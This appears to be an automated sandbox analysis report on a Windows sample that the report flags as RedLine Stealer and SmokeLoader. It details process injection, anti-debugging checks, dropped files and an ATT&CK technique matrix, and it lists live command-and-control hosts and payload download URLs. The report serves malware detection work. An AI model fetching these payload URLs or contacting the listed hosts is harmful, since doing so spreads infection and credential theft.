Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_007F0D90 mov eax, dword ptr fs:[00000030h]	2_2_007F0D90
Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Code function: 5_2_0040AEA4 mov eax, dword ptr fs:[00000030h]	5_2_0040AEA4
Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Code function: 5_2_00407D21 mov eax, dword ptr fs:[00000030h]	5_2_00407D21
Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Code function: 5_2_00988D13 push dword ptr fs:[00000030h]	5_2_00988D13

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\72E5.exe

Code function: 5_2_0040803E GetProcessHeap,HeapAlloc,

5_2_0040803E

Source: C:\Users\user\AppData\Local\Temp\72E5.exe

Code function: 5_2_00409543 GetWindowsDirectoryW,NtAllocateVirtualMemory,EnterCriticalSection,RtlInitUnicodeString,RtlInitUnicodeString,LeaveCriticalSection,LdrEnumerateLoadedModules,

5_2_00409543

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: h168121.srv21.test-hf.su
Source: C:\Windows\explorer.exe	Domain query: radiobridge-egy.com
Source: C:\Windows\explorer.exe	Network Connect: 109.98.58.98 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 211.171.233.129 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 211.119.84.112 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 91.227.16.21 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 95.111.233.125 443	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: aapu.at

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: rgrsiwf.1.dr

Jump to dropped file

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\file.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Allocates memory in foreign processes

Source: C:\Windows\Temp\123.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\Windows\Temp\321.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 560000 protect: page execute and read and write			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\Temp\123.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Windows\Temp\321.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 560000 value starts with: 4D5A			Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\file.exe	Thread created: C:\Windows\explorer.exe EIP: 45E19B0			Jump to behavior
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Thread created: unknown EIP: 4AC19B0			Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\Temp\123.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Windows\Temp\123.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 924008	Jump to behavior
Source: C:\Windows\Temp\321.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 560000	Jump to behavior
Source: C:\Windows\Temp\321.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 3A1008	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\66CA.exe	Process created: C:\Windows\Temp\123.exe "C:\Windows\Temp\123.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66CA.exe	Process created: C:\Windows\Temp\321.exe "C:\Windows\Temp\321.exe"	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\72E5.exe

Code function: 5_2_004082B6 CheckTokenMembership,AllocateAndInitializeSid,FreeSid,

5_2_004082B6

Source: explorer.exe, 00000001.00000000.315827309.0000000000E50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: EProgram Managerzx
Source: explorer.exe, 00000001.00000000.319042812.0000000005C70000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.315827309.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.322097042.000000000834F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.315827309.0000000000E50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000001.00000000.315511337.00000000009C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progmanath
Source: explorer.exe, 00000001.00000000.315827309.0000000000E50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\file.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	0_2_00410C22
Source: C:\Users\user\Desktop\file.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoW,	0_2_00413D44
Source: C:\Users\user\Desktop\file.exe	Code function: __crtGetLocaleInfoA_stat,	0_2_0041654E
Source: C:\Users\user\Desktop\file.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,	0_2_0040A217
Source: C:\Users\user\Desktop\file.exe	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,	0_2_00411290
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	2_2_00410C22
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoW,	2_2_00413D44
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: __crtGetLocaleInfoA_stat,	2_2_0041654E
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,	2_2_0040A217
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,	2_2_00411290

Source: C:\Users\user\AppData\Local\Temp\66CA.exe	Queries volume information: C:\Windows\Temp\123.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66CA.exe	Queries volume information: C:\Windows\Temp\321.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Report.wer.17.dr	Binary or memory string: UI[2]=C:\Windows\Temp\123.exe
Source: 123.exe, 0000000C.00000002.484701528.000000000133A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \Device\HarddiskVolume4\Windows\Temp\123.exe
Source: 66CA.exe, 0000000B.00000002.462669639.000000000369A000.00000004.00000020.00020000.00000000.sdmp, 66CA.exe, 0000000B.00000003.462013455.000000000369A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\Windows\Temp\123.exe
Source: 123.exe, 0000000C.00000002.484530111.00000000008A0000.00000004.00000001.01000000.0000000C.sdmp	Binary or memory string: kC:\Windows\Temp\123.exe
Source: Report.wer.17.dr	Binary or memory string: LoadedModule[0]=C:\Windows\Temp\123.exe
Source: 66CA.exe, 0000000B.00000002.462990481.00000000072C8000.00000004.00000020.00020000.00000000.sdmp, 66CA.exe, 0000000B.00000002.462990481.00000000072B2000.00000004.00000020.00020000.00000000.sdmp, 123.exe, 0000000C.00000002.484701528.000000000133A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\Temp\123.exe
Source: 66CA.exe, 0000000B.00000003.461975457.0000000007311000.00000004.00000020.00020000.00000000.sdmp, 66CA.exe, 0000000B.00000002.462990481.00000000072B2000.00000004.00000020.00020000.00000000.sdmp, 66CA.exe, 0000000B.00000002.463116097.0000000007311000.00000004.00000020.00020000.00000000.sdmp, 66CA.exe, 0000000B.00000002.462900253.0000000005974000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 123.exe
Source: Report.wer.17.dr	Binary or memory string: AppPath=C:\Windows\Temp\123.exe

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 14.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.123.exe.873a80.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.3.123.exe.10a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.123.exe.873a80.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.123.exe.840000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.573310627.0000000000402000.00000020.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.461277241.00000000010A2000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.484118023.0000000000873000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 4708, type: MEMORYSTR

Yara detected SmokeLoader

Source: Yara match	File source: 00000000.00000002.332606751.0000000000990000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.332709751.0000000002461000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.416124852.0000000000890000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.416145002.00000000008B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Yara match	File source: 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 4708, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 14.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.123.exe.873a80.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.3.123.exe.10a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.123.exe.873a80.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.123.exe.840000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.573310627.0000000000402000.00000020.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.461277241.00000000010A2000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.484118023.0000000000873000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 4708, type: MEMORYSTR

Yara detected SmokeLoader

Source: Yara match	File source: 00000000.00000002.332606751.0000000000990000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.332709751.0000000002461000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.416124852.0000000000890000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.416145002.00000000008B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 Input Capture	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Exploitation for Client Execution	11 Registry Run Keys / Startup Folder	612 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	33 System Information Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 Command and Scripting Interpreter	1 Bootkit	11 Registry Run Keys / Startup Folder	31 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	24 Software Packing	NTDS	341 Security Software Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	Keylogging	Data Transfer Size Limits	124 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	11 File Deletion	Cached Domain Credentials	3 Process Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	21 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	141 Virtualization/Sandbox Evasion	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	612 Process Injection	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Hidden Files and Directories	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	1 Bootkit	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	35%	ReversingLabs
file.exe	33%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\66CA.exe	100%	Joe Sandbox ML
C:\Windows\Temp\123.exe	100%	Joe Sandbox ML
C:\Windows\Temp\321.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\72E5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\rgrsiwf	35%	ReversingLabs
C:\Windows\Temp\321.exe	36%	ReversingLabs	Win32.Trojan.Pwsx

Unpacked PE Files

Source	Detection	Scanner	Label	Download
5.2.72E5.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.2.72E5.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.2.RegSvcs.exe.3151a8c.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.3.file.exe.990000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.3.explorer.exe.e4d2090.0.unpack	100%	Avira	HEUR/AGEN.1253311	Download File
12.2.123.exe.840000.0.unpack	100%	Avira	TR/ATRAPS.Gen4	Download File
13.0.321.exe.13c0000.0.unpack	100%	Avira	TR/ATRAPS.Gen4	Download File
12.0.123.exe.840000.0.unpack	100%	Avira	TR/ATRAPS.Gen4	Download File
2.2.rgrsiwf.7f0e67.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.file.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
2.3.rgrsiwf.890000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
14.2.RegSvcs.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1252166	Download File
13.2.321.exe.13c0000.0.unpack	100%	Avira	TR/ATRAPS.Gen4	Download File
10.2.72E5.exe.25e312c.2.unpack	100%	Avira	TR/Patched.Ren.Gen7	Download File
12.3.123.exe.10a0000.0.unpack	100%	Avira	HEUR/AGEN.1252166	Download File
0.2.file.exe.980e67.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
2.2.rgrsiwf.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

Source	Detection	Scanner	Link
h168121.srv21.test-hf.su	9%	Virustotal	Browse
radiobridge-egy.com	1%	Virustotal	Browse
aapu.at	8%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://tempuri.org/Entity/Id15Responsel	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15Responsel	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5	0%	URL Reputation	safe
http://tempuri.org/Entity/Id4	0%	URL Reputation	safe
http://tempuri.org/Entity/Id7	0%	URL Reputation	safe
http://tempuri.org/Entity/Id6	0%	URL Reputation	safe
http://tempuri.org/Entity/Id1Responsel	0%	URL Reputation	safe
http://tempuri.org/Entity/Id7Responsel	0%	URL Reputation	safe
http://tempuri.org/Entity/Id6Responsel	0%	URL Reputation	safe
http://tempuri.org/Entity/Id14Responsel	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Responsel	0%	URL Reputation	safe
http://tempuri.org/Entity/Id20	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21	0%	URL Reputation	safe
http://tempuri.org/Entity/Id22	0%	URL Reputation	safe
http://tempuri.org/Entity/Id1Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5Responsel	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Responsel	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Responsel	0%	URL Reputation	safe
http://tempuri.org/Entity/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10	0%	URL Reputation	safe
http://tempuri.org/Entity/Id3Responsel	0%	URL Reputation	safe
http://tempuri.org/Entity/Id11	0%	URL Reputation	safe
http://tempuri.org/Entity/Id12	0%	URL Reputation	safe
http://tempuri.org/Entity/Id13	0%	URL Reputation	safe
http://tempuri.org/Entity/Id17Responsel	0%	URL Reputation	safe
http://tempuri.org/Entity/Id14	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15	0%	URL Reputation	safe
http://tempuri.org/Entity/Id16	0%	URL Reputation	safe
http://tempuri.org/Entity/Id17	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18Responsel	0%	URL Reputation	safe
https://radiobridge-egy.com/tmp/index.php	0%	Avira URL Cloud	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Responsel	0%	URL Reputation	safe
http://tempuri.org/Entity/Id12Responsel	0%	URL Reputation	safe
http://h168121.srv21.test-hf.su/98.exe	0%	Avira URL Cloud	safe
51.210.161.21:36108	0%	Avira URL Cloud	safe
http://kingpirate.ru/tmp/	0%	Avira URL Cloud	safe
http://firsttrusteedrx.ru/tmp/	100%	Avira URL Cloud	malware
51.210.161.21:36108	1%	Virustotal		Browse
http://poudineh.com/tmp/	0%	Avira URL Cloud	safe
http://firsttrusteedrx.ru/tmp/	17%	Virustotal		Browse
http://kingpirate.ru/tmp/	7%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
h168121.srv21.test-hf.su	91.227.16.21	true	true	9%, Virustotal, Browse	unknown
radiobridge-egy.com	95.111.233.125	true	true	1%, Virustotal, Browse	unknown
ip-api.com	208.95.112.1	true	false		high
transfer.sh	144.76.136.153	true	false		high
aapu.at	211.171.233.129	true	true	8%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
51.210.161.21:36108	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://transfer.sh/get/yAEPpl/gggge.exe	false		high
http://firsttrusteedrx.ru/tmp/	true	17%, Virustotal, Browse Avira URL Cloud: malware	unknown
